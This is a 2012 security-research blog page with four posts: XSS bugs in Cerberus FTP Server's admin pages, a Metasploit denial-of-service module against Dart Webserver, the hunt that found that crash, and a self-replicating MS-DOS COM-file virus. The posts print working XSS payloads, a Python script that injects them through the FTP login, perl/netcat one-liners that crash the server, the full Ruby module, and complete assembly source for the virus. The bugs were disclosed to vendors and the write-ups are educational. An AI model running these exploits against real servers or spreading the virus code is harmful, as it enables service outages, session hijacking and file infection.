Showing posts with label research. Show all posts
Showing posts with label research. Show all posts

Monday, December 17, 2012

Persistence is Key, Another Bug Hunt

Introduction:
There are few things I find more frustrating than looking for bugs and not finding a single one. I've seen and used buffer overflows and format string vulnerabilities in war games, I've even seen some of these bugs in real applications. Sometimes I choose a piece of software to assess and it's just rock solid.

But that's not a reason to stop.

I am specifically talking about Cerberus FTP Server which is, in my opinion, very well written - and it showed in that it provided me a great deal of difficulty in finding bugs through binary analysis like I have done in the past. I did get lucky enough to find a couple of bugs though, but only once I shifted my paradigm. One set is fairly trivial and the other is not as trivial and kind of hard to get to fire. This was all performed using Cerberus FTP Server v5.0.5.1.

Usually I'd discuss the whole process of my bug hunt, but in this case it was a long time to get so far. I started by seeking out printf/buffer overflow vulnerabilities, running some fuzzers and the like. All to no avail. An analysis of the binary showed a good indication of why:

This call to sprintf is of the "_s" variant. This means it is "security enhanced", as described here. I checked every single possibility for *printf and found very few potentially viable options. In part compilers now have warnings for these sorts of bugs, but also when the developer is aware of them too it's that much worse. Of the possibilities I did find I was later informed they exist in unused code sections which are presently unreachable. So whether or not they'll even be available is unknown much less vulnerable too, especially after mentioning them!

Moving Along:

Just to get into it, I gave up on the classics and moved to the modern world - web based attacks. This is an area of vast opportunity and means it's often fruitful. The bugs can slip in through many avenues, sometimes even shrouded under the guise of guessed safe practices.

Let's begin with the trivial bug. It is a Cross Site Scripting (XSS) scripting bug and it can be located in the "/servermanager" page of the web admin interface for Cerberus FTP Server. This interface is by default disabled. One enabled an administrative user may login at "http://localhost:10000/" Once the administrator is logged in they may find a link to the server manager page in the left menu. Or you may use "http://localhost:10000/servermanager"

It should look, something like this:
Select the "Messages" tab and you will be presented with the vulnerable page - though if the server has already been exploited, those should have already fired. The messages page looks like so:
Each of the message fields may be exploited trivially like so:
</textarea><script>alert('trivial xss');</script>

Click update to save the message, then reload the server manager page for the effect:

This as fun and all, but as one should note there is only 1 administrative user for the web interface and thus if this XSS bug is being leveraged - you probably have larger problems. None the less, this bug has been fixed and the latest version of Cerberus FTP has the corrections.

And a Little Harder:
Now for the more difficult bug. Having found a trivial XSS bug I now know that at least some fields may or may not be properly escaped. So the goal is to find other methods of interacting with the web interface that may not require authentication. Most of the options are available only to administrative users, and after exploring all the available options I finally decide to attempt to attack the "http://localhost:10000/log" page

First thing to note is the log is empty. Javascript is required for using the log page and it is on an 8 second update cycle. When log entries are shown you have approximately 2-3 seconds to review it before they are cleared. This plays a role in making this bug irritatingly difficult to fire. It should also be noted that the data transfer from the servers are in fact html encoded, hiding this bug from view in post-mortem analysis. No time like the present.

The log page is shown here, empty, waiting on it's 8 second cycle:
Normal usage will fill the log with events, but we're most curious about usage which does not require any form of authentication. To generate some "usage" traffic I write application in python (test.py):

import sys
import socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_address = ('192.168.0.200', 21)
sock.connect(server_address)
data = sock.recv(128)
print >>sys.stderr, '%s' % data
user = "USER testuser\r\n"
sock.sendall(user)
data = sock.recv(128)
print >>sys.stderr, '%s' % data
quit = "QUIT\r\n"
sock.sendall(quit)
sock.close()
Then I execute this from bash using a simple for loop, and I note that it returns the XSS banner we've already exploited.
for each in {1..100}
do
python test.py
done
We execute this loop and look for the results, sometimes I had to run the script multiple times to get it to show:
Obviously we have some control over what is shown in this log even though we have not authenticated in any way. The real question is, does this render in a way which might be dangerous. To test, we merely adjust our 'testuser' to be something more effective fun:

USER <div onmouseover="alert('xss');" />

And run the loop again, because we're using the onmouseover - we'll need to fire this by mousing over the areas where the divs will be. If it works it should be immediately apparent.

And a Cross Site scripting bug is discovered. As with the other one I am told this bug has been patched and is no longer an issue. Special thanks to Grant @ Cerberus FTP for the fixes and extremely timely support given, this has been the best company I've had the pleasure to deal with so far in regards to security related matters.

For reference these bugs were assigned CVE-2012-6339.

See you next time and until then, Hack Safe, Hack Legal, but most of all Hack Fun!

Friday, September 14, 2012

Writing My First Metasploit Module

So I decided I should learn how to use Metasploit. It seems to me, that this framework is the wave of the future, even though it's already in it's fourth revision with what I understand to have been several major rewrites. So I guess the future is already here and I'm just behind the curve!

For the uninitiated, Metasploit is a framework. This means it provides the tools necessary to achieve some common goals. You may have guessed it, the common goal is exploitation of vulnerabilities found in systems. Note: The Metasploit website mentions a Pro version and Community Edition, an Express version and the Metasploit Framework for developers. We'll use the Framework which is provided in BackTrack 5R3 already!

To just try this out go to the Backtrack website: http://www.backtrack-linux.org/

  1. Download it
  2. Burn it
  3. Boot it
  4. Continue

In my previous post I discuss the discovery of a very minor vulnerability. Having developed a simplistic exploit it in perl, it seemed the perfect opportunity to develop a Metasploit module for it as well. This would exercise a new programming language for myself (ruby) for which I have no prior experience. And facilitate the development of other future exploits in a rapid development environment through practice.

As discussed in the book Metasploit: The Penetration Tester's Guide, a reasonable technique for making your first module is, start from another module! So I chose to base mine off of the module found at:
/opt/metasploit/msf3/modules/auxiliary/dos/http/apache_mod_isapi.rb
I chose this module because my module will also be in the DoS for HTTP servers area. Since, it is a DoS for an HTTP server. It is also short, and simple, which means easy to modify.

The first bits to change are, the informative bits. I modified the Name, Description, Author, Version, References, and Disclosure Date to match the specifics of my vulnerability. But this is not necessary to the functionality. The next important piece was to register my options, since they don't match the apache_mod_isapi denial of service options. This is important to the functionality.

I kept the RHOST, which makes sense, and I only need one option for a Remote port (RPORT) - so I scoured through the framework with a little find + grep magic:
find ./ -exec grep -H "RPORT" {} \; | grep "Remote port"

And found
./auxiliary/crawler/msfcrawler.rb: OptInt.new('RPORT', [true, "Remote port", 80 ]),
Yep, copy that and throw it into the ruby script. Watching out to remove the comma at the end since it's the last option in my list. Next I stripped out most extraneous communications and just followed the general feel of the ruby script to build a request of "A" * size bytes, tack on my "\n\n" to the end, and send it!

This completes my module, and I save it to:
~/.msf4/auxiliary/dos/http/dart_request_dos.rb
Note:  if you save to /opt/metasploit/msf3/modules/auxiliary/dos/http/, and later perform an update, it will wipe out your module if it is not in the actual framework tree. So be wary of that shortcut! (yes it bit me)

Now when I load msfconsole, I have access to my module and it's as simple as:
use auxiliary/dos/http/dart_request_dos
set RHOST [target_ip]
set RPORT [target_port]
exploit
------------------------------SNIP-------------------------------------
require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Dos def initialize(info = {}) super(update_info(info, 'Description' => %q{ 'Name' => 'Dart Webserver <= 1.9.0 Stack Overflow', Dart Webserver from Dart Communications throws a stack overflow exception when processing large requests. } , 'Author' => [ 'catatonicprime' ], 'Version' => '$Revision: 15513 $', 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2012-3819' ], ], 'DisclosureDate' => '9/11/2012')) register_options([ Opt::RPORT(80), OptInt.new('SIZE', [ true, 'Estimated stack size to exhaust', '520000' ]) ]) end def run serverIP = datastore['RHOST'] if (datastore['RPORT'].to_i != 80) serverIP += ":" + datastore['RPORT'].to_s end size = datastore['SIZE'] print_status("Crashing the server ...") request = "A" * size + "\r\n\r\n" connect sock.put(request) disconnect end end

Tuesday, September 11, 2012

My First Experiences Bug Hunting, Part 1

/*
Responsible Disclosure(info): in the following post and future posts I will cover the specifics of my first bug hunt. This has led to six assigned CVEs. One of which is discussed below and it's ID is CVE-2012-3819. I will discuss the other five, and the affected software, once the vendor(s) has had time to assess and determine remediation for the remaining vulnerabilities. CVE-2012-3819 was originally reported to an affected vendor in October of 2011, it was reported (by the author) to the responsible vendor August 2nd of 2012, the responsible vendor has replied stating:
"Thank you for the additional information. The technical team was able to reproduce the issue and log it as issue #5654. I know there are not immediate plans to resolve the issue, however it will be reviewed when  the product is again up for renewal." [formatting by me] 
Enough of the boring stuff, let's get to the fun!
*/

A couple of years ago I had never even heard the term Bug Hunt. Had never really done any real exploitation what so ever. Technique was something of myths, reverse engineering was something I did to watch bits floating around in memory and that's about it. Maybe I could get a lucky (well 'lucky' after trying 20 different locations) patch in a video game to gain an edge or something. But really, understanding a bug and developing an exploit, was (is?) beyond my caliber.

Then I heard about this so called "Bug Hunting," and figured - what the hell, I have access to software and I like playing with debuggers. Let's see if we can't break some code. And this is where my understanding of the steps involved come in, to my knowledge they involved the following:
  1. Install Software
  2. ????
  3. Win/Exploit
And to me it really does feel like magic, like only a Techno-God could look over some executable and discover a bug and how to exploit it. But I knew there must be a way to find my own bug and make a custom exploit. So I looked toward a few resources. I bought eight books on various forms of information security, from web, to database. And it seems like the favorite type of exploit, the bug hunter's creme of the crop exploit, is the Stack or Buffer Overflow. Armed with a plethora of information, I picked an application with some familiar technology to me. I chose a Web Server/Web App which we use at work, I downloaded the trial and installed it. Then it was time to see where it'd go.

The application has a stand alone web server, the same one found here: Dart Communications. The version I was utilizing was version 1.8.0.10 (current as of writing is 1.9.0.0). I loaded the app up and the software began spinning it's wheels. Simple, right?

It does whatever stuff it needs to start up, and then bind()s to an address followed by a listen() for incoming connections. So now what? Step #2 above is a black box to me - I don't really know where to go, or what the hell I'm doing. So I decide to start with the normal use case scenario. I connect to the server and make a valid request by printing the following to a connected socket:
GET / HTTP/1.1\n\n
Simple enough to do, it's just a quick perl + netcat combo [nifty trick from Hacking By Erickson, Jon (Google Affiliate Ad), plus a shameless plug for ad-sense, it is a fantastic book though I swear].
perl -e 'print "GET / HTTP/1.1\n\n"' | nc server 80
I get a typical "200 OK" response and I think quietly to myself... Then I think about the different pieces of this request. They take the form of '[method] [requested-uri] HTTP/[version]\n\n' which means I can control the method (e.g. GET or POST), the Requested-URI (e.g. / or /index.html), and the HTTP version reported (e.g. 1.1 or 1.0).

So I think to myself, "If I were writing a web app I'd need the file name... would I check the size of the URI in the GET/POST request?"
perl -e 'print "GET " . "A" x 9999 . " HTTP/1.1\n\n"' | nc server 80
The server responds with a 401/403/404 or whatever. An expected and normal result having fed in garbage data. So I figure what the hell, let's go really huge and see if it survives.
perl -e 'print "GET " . "A" x 520000 . " HTTP/1.1\n\n"' | nc server 80
Presto! The server crashes and I get a feeling like I might be onto something good. The number I'm showing here was chosen experimentally, I really just kept multiplying by ten. I e-mail the vendor to inform them of the bug and I begin an investigation to see how far down the rabbit hole it goes. The hope is remote arbitrary code exploitation.

/*Spoiler Alert* more CVE-2012-3819 specifics
It's denial of service only. Simply put, the Requested URI is copied around in memory, some copies are stored on the stack. After several large copies, they exhaust the available stack space for the process. This yields a Stack Overflow Exception, not to be confused with a buffer overflow. The exception is passed to the controlling process where no handler exists, so the application exits immediately. Additionally the request does not have to be well formed, e.g. a continuous string of repeating 'A's will have the same effect as long as it does not receive the "\n\n" and try to process the request.
perl -e 'print "A" x 520000 . "\n\n"' | nc server 80
*End Alert*/

So I load Ollydbg to and take a closer look at the vulnerability, which I'll cover that in a future post, and how it led me to find better and more mature bugs which have real security impacts beyond the utilitarian annoyance of a Denial of Service condition.

Until then, Hack Safe, Hack Legal, but most of all Hack Fun!

Tuesday, August 28, 2012

Writing my First Computer Virus

I write this, in part, as a nod to Herm1t over at VX Heavens, which has recently been shutdown by the Ukrainian government. Computer viruses, and computer virology are best explored in a safe and controlled environment, and it is our right as researchers to do so. VX Heavens has shared wonderful information for 2 decades, affecting the industry in positive ways that we'll never see the end of.

Those who know me very well know that one of the primary reasons for my learning how to write software, was to write computer viruses. Those who don't know me extremely well may mistakenly assume this was for malicious reasons. It was not, it's somewhat of a secret but there was a time in my life when I was not good with computers at all. If you really want to know why I decided to I wanted to write viruses, you'll just have to ask me in person, because it's somewhat of a personal story for me and it's kind of too dumb to get into here.

For the rest of you who don't care, here's a story about the first, ever, computer virus I've written! To be clear this is a virus in a stricter definition than the public tends to use. This virus infects COM files (yeah, remember those?) and runs in a fairly confined environment (it's current directory). It has no malicious content, with the exception of possibly violating Title 13-2316 paragraphs 2 & 3 (Arizona Title 13-2316). Which of course requires it to be occurring without permissions. Since I'm writing it and keeping it in a virtual machine it pretty much means I'm 100% in the clear. So now that the legal stuff is out of the way, let's talk implementation.

The system I am interested in developing in will be a MS-DOS 6.22 system. I'll be running it in a virtual machine which I will leave the setup as an exercise for the dedicated student. Next I will employ the assembling prowess of the Flat Assembler (FASM). This computer virus is heavily based on the TIMID virus described by Dr. Mark Allen Ludwig in his "The Little Black Book of Computer Viruses." (Amazon)

So let's begin, a little theory seems a good start.

COM files are flat files that are loaded into memory directly. The first bytes (offset 0x0000) are loaded into offset 0x100 in memory and then up. The reason for the 256 byte offset is a throwback to the CP/M operating system called the Program Segment Prefix (PSP).  For the particularly curious Wikipedia has a fairly well rounded article here.

Viruses may have several goals and these goals are up to the implementer to choose. For instance, the number 1 priority may be to replicate itself. A reasonable number 2 priority may be to survive. Since I'm really just interested in the fundamentals of virology we'll stick with focusing merely on this number 1 priority - Replication.

The virus, in order to replicate has many options. It may attach itself to the beginning of a file, or to the end, or break itself up and spread itself around in the file (e.g. CIH). Inserting into the start of COM file is difficult if there are any absolute offsets used in the program, as this will shift all of these offsets. And breaking it up, is obviously the most complicated option, though likely one of the best to subvert detection.

Basically, this is my first virus so we'll stick with the easiest, inserting the virus at the end of the COM file.

We'll need a few things:

  1. A routine which will identify potential files to infect. 
  2. A routine to perform the infection while preserving enough information to reconstruct the original code to continue to execute effectively.
  3. A payload (may be as simple as just a ret), we'll use a print call when infecting, same as TIMID.


A common issue is that the viral code, when attached to the end of a file will regularly appear in a different location in memory. So we can not rely on too many absolute addresses (with a few exceptions related to the operating system (e.g. the PSP mentioned above). My solution involves determining the current code location and then referencing data members at a regular offset from there, this is probably the most notable variation of TIMID, and the rest is largely the same.

I use various DOS syscall methods, one of the most important is setting up a temporary Disk Transfer Area (DTA) which holds the file handles and data while we read and write files. For a reference to the other DOS syscalls see here.



;Origin is 0x100 - This is for COM files, which include
; a 256 byte PSP (Program Segment Prefix)
org 0x100
use16

start_file:
host: 
        jmp     near virus        ;Make it look like this file is infected.
                db 'Vx'
virus:
        sub     esp, 0x80        ; new DTA space.
        mov     ebp, esp         ; ebp will point to our DTA       
        lea     dx, [esp]        ; address for new DTA
        mov     ah, 0x1A         ; set DTA
        int     0x21             ; syscall, create new DTA space.

        call    get_start        ;
get_start:
        pop     si               ; pull the EIP from the stack, this is our location.
        sub     si, get_start    ; si is ready to handle offsets to the data section

        call    find_file        ; Find an infectable file.
        jnz     fin              ; Failed to find a file, bail.       
        call    infect           ; Infect the file!        
fin:
        push    si               ; Reimage the host bytes
        lea     si, [si+HOST_IMAGE]      
        lea     di, [0x100]      ; Default starting position      
        mov     cx, 0x05         ; Number of bytes to image
        rep     movs  BYTE [di], [si]    ; Copy 5 bytes from *si to *di
        pop     si               ; Restore si

        mov     dx, 0x80            ; reset to use default DTA
        mov     ah, 0x1A            ; set DTA function
        int     0x21                ; syscall

        mov     esp, 0xFFFF         ; 
        mov     ebp, esp            ; Restore the stack

        push    0x100               ; push the "new" return address
        ret

;-----------------------------------------------
;Find infectable files.
;-----------------------------------------------
find_file:
        lea     dx, [si + files]        ; searching COM files
        mov     ah, 0x4E                ; search function id
        ff_loop:
                mov     cl, 0x06        ; attribute mask
                int     0x21            ; syscall
                or      al, al          ; checking success: non-zero return (success)
                jnz     done            ; on failure, no file found we're done.
                call    check_file      ; check if this file is infectable
                jz      done            ; file is infectable, return to main
                mov     ah, 0x4F        ; file was not infectable, search next (function id)
                jmp     ff_loop         ;   --

check_file:
  ;First we check the size of the file to ensure our virus can fit in it!
        push   dx
        xor     bx, bx                  ; Clear bx, this represents our soon to be file handle.
        mov    ax, [ebp + 26]              ; Value @ Defaut DTA + offset to file size
        cmp    ax, 0x05                    ; Make sure it's *atleast* 5 bytes
        jl      bad_file                ; File is too small!
        add     ax, end_file - start_file + 0x100       ; End of virus - start of virus + size of PSP
        jc      bad_file                ; File is too big to accommodate this virus.
       
        mov     ax, 0x3D02              ; Open file with read/write
        lea     dx, [ebp + 30]          ; Default DTA + offset of file name
        int     0x21                    ; open file.       
        jc      bad_file                ; failed to open file?

        mov     bx, ax                  ; Open succeeded, file handle is in bx.
        mov     ah, 0x3F                ; Read file
        mov     cx, 0x05                ; 5 bytes worth
        lea     di, [si + START_IMAGE]  ; load the effective address of the start_image
        mov     dx, di                  ; dx is actually used in the sycall.
        int     0x21                    ; syscall
        jc      bad_file                ; error, and we've already ruled out partial reads (less than 5)

        ;------Ensure the file is not already infected.
        cmp     BYTE [di], 0xE9         ; Check for the jmp near.
        jne     good_file               ; It wasn't, so it's not infected.
        cmp     WORD [di+3], 0x7856     ; Check for 'Vx'
        je      bad_file                ; The file was infected, next file.

        good_file:
                pop     dx              ; Restore registers
                xor     al, al          ; Return status is good
                ret                     ; Return to caller with the file in the DTA.

        bad_file:
                or      bx, bx          ; Checking for a file handle
                jz      no_handle       ; no handle to close
                mov     ah, 0x3E        ; close file
                int     0x21            ; syscall - close the file.
                no_handle:
                        pop     dx      ; Restore registers
                        mov     al, 0x01; Return status is no file found
                        or      al, al  ; Set flags for status check
                        ret             ; Return to caller with no file found.
done:     
        ret
;-----------------------------------------------
;Infect, copy mechanism
;-----------------------------------------------
infect:    
        ;At this point the file is still open, the handle is in bx.
        lea     di, [ ebp + 26]         ; size of com file being infected
        mov     ax, [di]
        mov     cx, ax      
        lea     di, [si + START_VIR + 1]; The jmp offset
        sub     cx, 0x03                ; Remove the near jmp size. 
        mov     [di], cx                ; the offset to jmp to

        xor     ax, ax                  ; Seek to start
        mov     cx, ax
        xor     dx, dx
        mov     ah, 0x42            ; start of file
        int     0x21                ; syscall        

        mov     ah, 0x40            ; write to file
        mov     cx, 0x05            ; writing 5 bytes.
        lea     dx, [si + START_VIR]
        int     0x21                ; write file

        xor     ax, ax              ; Seek to end
        mov     cx, ax
        xor     dx, dx
        mov     ax, 0x4202          ; end of file
        int     0x21                ; syscall

        mov     ah, 0x40
        mov     cx, end_file - virus;size of virus
        sub     cx, 0x05            ; Write all but 5 bytes, this will get start_image
        lea     dx, [si + virus]    ; virus beginning        
        int     0x21                ; copy the virus out!

        mov     ah, 0x40            ; do another write to give HOST_IMAGE
        lea     dx, [si + START_IMAGE]  ; to the newly infected file.
        mov     cx, 0x05            ; Just 5 bytes.
        int     0x21                ;

        mov     ah, 0x3E            ;close file
        int     0x21                ;syscall

        push    dx                  ; print infection message
        lea     dx, [si + banner]
        call    print
        pop     dx
        ret

;-----------------------------------------------
;Helper methods, these'll go away in the final product
;-----------------------------------------------
print:
        push    ax         ; Makes this function non-destructive.
        mov     ah, 0x09   ; Print ASCIIZ
        int     0x21       ; print whatever is in ds:dx, this is for debugging
        pop     ax         ; Restore registers    
        ret                ; Return to caller
;-----------------------------------------------
;Data Section
;-----------------------------------------------
        banner          db 'Catatonic says "Hi!"', 0x0D, 0x0A, 0x24
        files           db '*.COM', 0x00
        START_VIR       db 0xE9, 2 dup(?), 'Vx'
        START_IMAGE     db 0x05 dup(?)
        HOST_IMAGE      db 0xB8, 0x00, 0x4C, 0xCD, 0x21 ; simple exit program.
end_file:

That's it! Sorry I'm not going more in depth on the specifics - this post is several months old for me now and I figured it'd just push it out instead of breaking it up or other things.

I believe this source code is good (if i recall correctly) and here is a screen shot of the results:


Have fun and stay safe!